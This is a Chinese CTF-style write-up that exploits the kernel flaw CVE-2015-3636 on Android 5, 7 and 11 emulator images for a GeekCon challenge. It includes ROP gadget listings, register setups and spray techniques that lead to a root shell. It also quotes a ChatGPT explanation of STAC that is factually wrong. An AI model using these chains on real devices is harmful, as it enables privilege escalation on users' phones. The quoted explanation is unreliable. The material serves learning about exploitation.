GeekCon AVSS 2023 初赛示例题 CVE-2015-3636
Geekcon 2023 AVSS挑战赛的说明文档中,用 CVE-2015-3636 这个漏洞作为示例,展示了同一个漏洞在不同环境中(android 5/7/11)进行利用所面临的挑战。文档中有题目环境的下载方式。
android 5.1环境下3636的利用
基本信息
架构:arm32
linux版本:3.4.67
防护措施:开启selinux,未开启PXN,PAN,KASLR
漏洞分析
在之前的文章中有过详细分析,这里不再重复。
漏洞利用
控制流劫持 - physmap spray
physmap spray分两步:
- 喷UAF sock
- 喷mmap
最终,两者都会出现在physmap区域,并且有一定的概率某些sock会跟mmap内存重合。
- 第一次尝试(失败)
- 喷4096个 UAF sock
- mmap最大的空间并填充,最后搜索哪个sock被覆盖到
- 第二次尝试(成功)
- 先喷4096个 UAF sock
- 每mmap一次就搜索一次,直到mmap到最大空间。munmap所有空间,然后再重复mmap过程。直到找到合适的vuln sock。
- 第三次尝试(成功)
- 分散vuln sock,子进程喷1000个sock,父进程喷一个sock,几个来回后,先正常释放子进程的sock,然后触发漏洞使父进程产生vuln sock。
- mmap前先确定空间够用,每mmap一次就搜索一次,直到mmap到最大空间。munmap所有空间,然后再重复mmap过程。直到找到合适的vuln sock。
所以,后两种方法都可以达成目的,都是结合原作者的exp改出来的,不知道为什么第一种方法在32位下就是不成功。
以第3种方法为例,重点记录一下父子进程搭配创建sock部分的代码逻辑
1 | - 父进程读到1,表示子进程已创建好`PADDING_SOCK_NUM`个sock fd |
找到合适的vuln sock之后,只需 close(vuln_sock)
即可触发 inet_relase()
中对 struct sock
中 sk->sk_prot->close
函数指针的调用。所以提前将该sock的内容填充好,即可达成控制流劫持。
需要注意在控制流劫持前, ip_mc_drop_socket() 函数中会访问 inet->mc_list
,需要提前将该内容置0,防止崩溃。以后在利用时也需要细心注意。
get root shell - ret2usr
由于本题未开启PAN PXN KASLR等防护措施,所以到这一步就简单了。控制了函数指针后,直接ret2usr执行完 commit_creds(prepare_kernel_cred(0))
即可完成提权,当然还要注意关闭selinux。通过 sel_read_enforce()
函数找到 selinux_enforcing
的地址,将其改成0即可关闭selinux。最后正常返回到用户态执行 execl("/system/bin/sh", "sh", NULL);
即可获得root shell。
完整exp
1 |
|
一些注意点
本题利用心得:在未开启PAN和PXN的系统上,如果控制流劫持成功了,且劫持点是一个函数指针。那么,最简单的办法就是执行一个用户态函数(提权,改selinux等),该函数执行完毕后,内核会正常返回用户态。再在用户态中执行一下get shell函数即可。
其他:
需要使用父子进程通信时,一定要注意,尽量什么值都别传,不然一个不小心就容易出错。父子进程最常用的通信方式有pipe系统调用,或者通过ptrace来控制子进程的执行和停止。
mmap spray时,最好结合sysinfo的信息,决定何时停止mmap,防止因内存不足崩溃
mmap映射某些重要内存(后续会访问)时,最好用mlock锁定一下,防止被换出。参考:用mlock防止内存被换出到swap空间
android 7.1 环境下3636的利用
基本信息
架构:aarch64
linux版本:3.10.0+
防护措施:开启PXN,selinux;未开启PAN,KASLR
1 | generic_arm64:/ # cat /proc/version |
漏洞分析
参考之前的文章
漏洞利用
有几个点需要注意一下的
控制流劫持 - physmap spray
aarch64上的physmap spray比 arm32的要简单些,直接用第一种方法就可以
第一次尝试(成功)
喷4096个 UAF sock
mmap最大的空间并填充,最后搜索哪个sock被覆盖到
这里,mmap spray的内存要多点,一开始我只给了
300*2*1024*1024
,后来给到5*128*1024*1024
就可以了。(768M/1G)另外,一次mmap的size尽量给大点,可以减少系统调用时间的消耗
关于MAX_MMAP_NUM和ONE_MMAP_SIZE,
6*(128*1024*1024)
和384*(2*1024*1024)
都可以。
get root shell - pipe r/w
这是作者的方法,更简洁通用
1、改addr_limit
利用 kernel_setsockopt()
函数,将进程的 addr_limit
设置成 0xffffffffffffffff,于是用户态可以访问内核空间。(恰好控制流劫持时X1为0,不为1,才可以跳过将addr_limit设置回TASK_SIZE那一步)
改完进程的 addr_limit
后,就可以利用 pipe
系统调用来构造内核任意地址读写原语了!
2、泄露thread_info
方法1:利用 mutex_trylock()
函数的如下代码片段,泄露进程的thread_info结构体地址,计算cred地址。(恰好X1是0,会将task地址写到0x18地址处,在用户态mmap一下低地址,即可读取该值)
1 | .kernel:FFFFFFC000530A58 MOV X2, SP |
- 找其他gadget的方式:正则表达式
sp .* #0xFFFFFFFFFFFFC000 .* str
方法2: 通过 JOP 的方式将内核栈 sp 地址泄露到用户空间,然后在用户态完成计算,写cred。(相当于通过 JOP 链执行了一个函数,又返回到控制流劫持的下一条指令处。相比与kernel rop的好处是,不用恢复栈地址。)
3、改selinux,改cred结构体,用户态get root shell
get root shell - kernel rop
上面两位作者的方法,都需要找两次vuln sock,我希望只找一次sock就能成,于是我试了另一种比较笨的方法 - Kernel ROP,看能不能成。没想到,竟然真的找到一条可用的ROP链!!
rop的思路是,尽可能利用系统调用时,放入内核栈中的用户态寄存器。于是需要自己写一段内联汇编,实现对 close()
函数的调用。需要注意参数的传递,因为对arm内联汇编不熟,这里走了些弯路。
虽然有将近30个寄存器的内容可控,但是由于aarch64 ROP的特殊性,这点空间根本不够用。于是在内核完成提权和关selinux后,又回到用户态设置栈平衡。
第一段rop - in kernel
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65b *0xffffffc000083e40 el0_sync
b *0xffffffc0000842c8 fast_exit
b *0xFFFFFFC00042E39C inet_release
hijack pc -> 0xffffffc000118458 : add sp, sp, #0x100 ; ret
0xffffffc0004f8198 : add sp, sp, #0x110 ; ret
0xffffffc0003b0e10 : add sp, sp, #0x150 ; ret
x2,x3 -> x19,x20
prepare_kernel_cred中,从0xffffffc0000c00c0出
commit_creds中,从0xffffffc0000bfbbc出
0xffffffc0002b5f70 : ldr x21, [sp, #0x10] ; add sp, sp, #0x20 ; ret
0xffffffc0002cb748 : ldr x22, [x1, #0x18] ; blr x2 // 如果x22默认是0的话,可以不设置
0xffffffc0002682ec : mov x22, #0 ; blr x2
0xffffffc0000824d8 : ldr x23, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret
0xffffffc0000813f4 : ldp x21, x22, [sp, #0x20] ; ldp x29, x30, [sp], #0x30 ; ret
0xffffffc00017eb08 : ldr x0, [x19, #0x30] ; ldr x19, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
// 改selinux
0xffffffc00025bc94 : str w19, [x20] ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
// 准备改系统寄存器
0xffffffc0000876a0 : ldp x21, x22, [sp, #0x20] ; ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret
// 利用 ret_fast_syscall()-> fast_exit() 中的代码,正常返回用户态
0xFFFFFFC000084290 :
unsigned long long* selinux_enforcing = 0xFFFFFFC0006EB94C;
unsigned long long* pkc_addr = 0xFFFFFFC0000C0014;
unsigned long long* cc_addr = 0xFFFFFFC0000BFAB4;
"LDR X0, =0x3 \\n\\t"
"LDR X1, =0xFFFFFFC0000C0014 \\n\\t" // 0xFFFFFFC0000C0014 prepare_kernel_cred
"LDR X2, =0x0 \\n\\t" // to x19
"LDR X3, =selinux_enforcing \\n\\t" // to x20
"LDR X4, =0x04040404 \\n\\t"
"LDR X5, =0xFFFFFFC0000BFAB4 \\n\\t" // 0xFFFFFFC0000BFAB4 commit_creds
"LDR X6, =0x06060606 \\n\\t"
"LDR X7, =0X07070707 \\n\\t"
"LDR X8, =0x39 \\n\\t"
"LDR X9, =0xffffffc00025bc94 \\n\\t" // 下一条指令
"LDR X10, =0x10101010 \\n\\t"
"LDR X11, =0x11111111 \\n\\t"
"LDR X12, =0x12121212 \\n\\t"
"LDR X13, =0X13131313 \\n\\t"
"LDR X14, =0x14141414 \\n\\t"
"LDR X15, =0x15151515 \\n\\t"
"LDR X16, =0x16161616 \\n\\t" //
"LDR X17, =0xffffffc0000876a0 \\n\\t" // 下一条指令
"LDR X18, =0x18181818 \\n\\t" // to x19
"LDR X19, =0X19191919 \\n\\t" // to x20
"LDR X20, =0x20202020 \\n\\t" //
"LDR X21, =0xFFFFFFC000084290 \\n\\t" // 下一条指令,直接返回用户态无法执行execve,因为内核栈不平衡了。(但是可以执行除它之外的其他系统调用)
"LDR X22, =0x22222222 \\n\\t"
"LDR X23, =0X23232323 \\n\\t"
"LDR X24, =0x24242424 \\n\\t" // to x21(pc) 0x557e31a974
"LDR X25, =0X25252525 \\n\\t" // to x22 0
"LDR X26, =0x26262626 \\n\\t" // to x23(sp) 0x557e31df00
"LDR X27, =0X27272727 \\n\\t" // to x24
"LDR X28, =0x28282828 \\n\\t"第二段rop - in user
为什么要先在内核空间做一次栈迁移,然后才迁移到用户空间呢?
因为一开始需要先使用内核函数
commit_creds(prapare_kernel_cred(0))
为进程提权。如果在这之前往用户空间栈迁移,会导致执行这两个内核函数时,task等结构的地址计算不正确,从而系统崩溃。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83减栈操作 -> 没什么gadget
栈劫持到用户态空间
1 hijack sp:
hijack pc -> 0xffffffc000118458 : add sp, sp, #0x100 ; ret
2 hijack sp:
0xffffffc000204894 : mov sp, x29 ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
最终目的:把x28的值(+0x3f20)给到sp
提前设置好x29
从栈上初始化x0, x1
0xffffffc0000d9384 : ldp x0, x1, [x29, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
因为没有直接把x28给sp的指令,所以找一个中间寄存器
0xffffffc0000f1194 : mov x0, x28 ; blr x1
0xffffffc0002999ec : add x0, x0, x19 ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
放到x0寄存器后,转移到x9.【令x29+0x68 == x19+0x30】
0xffffffc0004ceab0 : stp x0, x1, [x19, #0x30] ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
0xffffffc0004f7138 : ldr x8, [x19] ; strb w9, [sp] ; ldr x9, [x29, #0x68] ; str x9, [sp, #8] ; ldr x8, [x8, #0x1b0] ; blr x8
x8跳到哪儿呢?
0xffffffc00009e8b8 : ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x20 ; ret
0xffffffc0000d9384 : ldp x0, x1, [x29, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
0xffffffc000132cb8 : mov x8, x0 ; mov x0, x8 ; ldp x29, x30, [sp], #0x10 ; ret
在这条之前设置好x30,指向0xffffffc000084290,然后执行这条指令
0xffffffc000084240 : ldr x30, [x8] ; mov sp, x9 ; ret
// 在用户态mmap空间中布置好相关内容
int idx_1 = 0;
(unsigned long long *)map_addr_1[0x0] = map_addr_2; // x29
(unsigned long long *)map_addr_1[0x8] = 0xffffffc0000d9384; // x30
(unsigned long long *)map_addr_1[0x10] = 0x3f20; // x19 x0+x19
(unsigned long long *)map_addr_1[0x18] = 0x0; // x20
(unsigned long long *)map_addr_1[0x20] = 0x0; // x29
(unsigned long long *)map_addr_1[0x28] = 0xffffffc0000f1194; // x30
(unsigned long long *)map_addr_1[0x30] = 0x0;
(unsigned long long *)map_addr_1[0x38] = 0x0;
(unsigned long long *)map_addr_1[0x40] = 0x0; // x29
(unsigned long long *)map_addr_1[0x48] = 0xffffffc0004ceab0; // x30
(unsigned long long *)map_addr_1[0x50] = map_addr_2+0x38; // x19
(unsigned long long *)map_addr_1[0x58] = 0x0; // x20
(unsigned long long *)map_addr_1[0x60] = map_addr_2; // x29
(unsigned long long *)map_addr_1[0x68] = 0xffffffc0004f7138; //x30
(unsigned long long *)map_addr_1[0x70] = map_addr_2; // x19
(unsigned long long *)map_addr_1[0x78] = 0x0; // x20
(unsigned long long *)map_addr_1[0x80] = 0x0; // dirt
(unsigned long long *)map_addr_1[0x88] = 0x0; // x9 will be stored here
(unsigned long long *)map_addr_1[0x90] = map_addr_3; // x29
(unsigned long long *)map_addr_1[0x98] = 0xffffffc0000d9384; // x30
(unsigned long long *)map_addr_1[0xa0] = 0x0; // x29
(unsigned long long *)map_addr_1[0xa8] = 0xffffffc000132cb8; // x30
(unsigned long long *)map_addr_1[0xb0] = 0x0;
(unsigned long long *)map_addr_1[0xb8] = 0x0;
(unsigned long long *)map_addr_1[0xc0] = 0x0; // x29
(unsigned long long *)map_addr_1[0xc8] = 0xffffffc000084240; // x30
sp->(unsigned long long *)map_addr_1[0xd0] = 0x0;
(unsigned long long *)map_addr_1[0xd8] = 0x0;
(unsigned long long *)map_addr_2[0x0] = map_addr_2; // x0
(unsigned long long *)map_addr_2[0x8] = 0x0; // x0
(unsigned long long *)map_addr_2[0x10] = 0x0; // x0
(unsigned long long *)map_addr_2[0x18] = 0xffffffc0002999ec; // x1 blr x1,(x0 +=x19)
(unsigned long long *)map_addr_2[0x20] = 0x0; // x29
(unsigned long long *)map_addr_2[0x28] = ; // x30
(unsigned long long *)map_addr_2[0x1b0] = 0xffffffc00009e8b8; // ldr x8,[x8,0x1b0]
(unsigned long long *)map_addr_3[0x0] = 0xffffffc000084290;
(unsigned long long *)map_addr_3[0x8] = 0x0;
(unsigned long long *)map_addr_3[0x10] = map_addr_3; // x0
(unsigned long long *)map_addr_3[0x18] = 0x0; // x1
(unsigned long long *)map_addr_3[0x20] = 0x0;
(unsigned long long *)map_addr_3[0x28] = 0x0;
第一种exp - pipe r/w + mutex_trylock()泄露
参考 4B5F5F4B 的exp
1 |
|
第二种exp - pipe r/w + JOP泄露
geekcon 环境中给出的exp
1 |
|
第三种exp - 纯 kernel ROP
以下是我用纯rop完成利用的exp
1 |
|
ROP打通那一刻真的超级开心!!!虽然说通用性没那么强,但着实锻炼了找 arm64 rop gadget 的能力。
android 11 环境下3636的利用
基本信息
架构:aarch64
linux版本:5.4.40
防护措施:开启KASLR,PAN,PXN,CFI,selinux
这个题卡在内核访问0x200200这个地址会崩溃上,PAN不知道怎么绕。
搜索PAN绕过方法时,仅找到这篇文章:https://blog.siguza.net/PAN/ ,意思是用户态映射一个 --x
权限的页面时,内核直接访问该页面并不会触发PAN。
我在android 11这个环境里试了一下,没成功。。
于是又冒出个很业余的想法,copy_from_user()执行的时候内核必须要访问用户态,是不是说明会短暂关闭PAN?那让某个线程在copy_from_user()期间卡住,其他内核线程是不是就可以访问任意用户态地址,从而绕过PAN了?事实证明linux内核远没有这么简单,无论是X86还是ARM,copy_from_user() 时都没有动过全局的SMEP/PAN开关,而是通过一些 “状态寄存器+硬件功能” 结合的方式将控制粒度细化到线程级别。
以下是对 copy_from_user() 函数的一些理解:
在开启SMAP的机器上,copy_from_user()是如何将用户态数据拷贝到内核态的?【✔】
SMAP是硬件的特性,由CR4寄存器控制是否开启该特性。copy_from_user()执行的过程中,不会改变CR4寄存器中SMAP的标记位,而是通过 STAC 让当前代码具备访问用户空间的能力。完成拷贝后,又通过 CLAC 关闭该能力。
这一信息的来源是stackoverflow上的一篇回答:https://stackoverflow.com/a/61498446
紧接着,根据 STAC CLAC 搜到了一些中文文章:https://zhuanlan.zhihu.com/p/64536162
官方邮件:https://lwn.net/Articles/517251/
wiki中的解释:https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention
chatgpt对 STAC指令的一些解释:
1
2
3
4
5
6
7在x86架构中,STAC(Supervisor-Trap Access Control)并不是一条独立的指令,而是通过修改 EFLAGS 寄存器中的一个标志位来实现的。具体来说,STAC特性通过修改 EFLAGS 寄存器中的 AC(Alignment Check)标志位来启用或禁用。
当 AC 标志位被置为 1 时,STAC 特性被启用,表示在内核模式下执行的代码要执行用户空间数据访问。如果在这个模式下尝试访问用户空间数据,将会触发一个异常。这个异常可以被内核捕获和处理,从而增加对用户空间数据的保护。
需要注意的是,修改 EFLAGS 寄存器中的 AC 标志位是特权级别 0 的操作,即内核模式下才能执行。用户空间代码不能直接访问 EFLAGS 寄存器或修改其中的标志位。
STAC 特性通常与 SMAP(Supervisor Mode Access Prevention)一起使用,以提供更强大的内存访问控制和安全保护。SMAP用于阻止内核模式下的代码直接访问用户空间的数据,而 STAC 用于在内核模式下执行用户空间的数据访问,并触发异常以进行后续处理。这两个特性结合起来,可以增加对用户空间数据的保护。源于:突然有个神奇的想法,以为copy_from_user()执行期间,会关闭SMAP/PAN。那么只要通过userfaultfd或者fuse让copy_from_user()卡住,那么其他内核线程不就可以绕过SMAP/PAN,实现任意用户空间访问了吗?
答案:事实远没有这么简单,因为copy_from_user()执行期间,不会去动CR4或者CP15寄存器,而是设置flag寄存器。所以完全不会发生我上面说的那种情况。
arm/aarch64架构上的copy_from_user()是如何将用户态数据拷贝到内核态的?【✔】
PAN,涉及哪些寄存器?flag寄存器又是什么?
aarch64上每个线程有自己的
thread_info→ttbr0
寄存器。刚陷入内核态时,ttbr0_el1是空的,因为进入内核后不需要访问用户态空间,相当于一个天然的KPTI防护。当遇到copy_from_user()之类的函数需要访问用户态空间时,会将thread_info→ttbr0
的值给 ttbr0_el1,这样就可以访问用户态了。那么,疑问来了,ttbr0_el1是全局的,被设置后,其他线程是不是就可以访问该线程的用户空间呢?当然不行,分两种情况。1、对于后来新起的线程,进入内核时,ttbr0_el1会被清零,不会接触到上一个线程的残留数据。2、对于之前已经存在的线程,在线程切换时,这些寄存器都会更新,也不会接触到残留数据。所以,这个拷贝方案是安全的。
补充:关于arm64 linux下的copy_from_user可以参考这篇文章 - copy_{to,from}_user()的思考
最后,问了主办方这个题有没有解,主办方说目前没有解,做开放讨论。ok,那我这水平也可以放弃跟这道题较劲了。。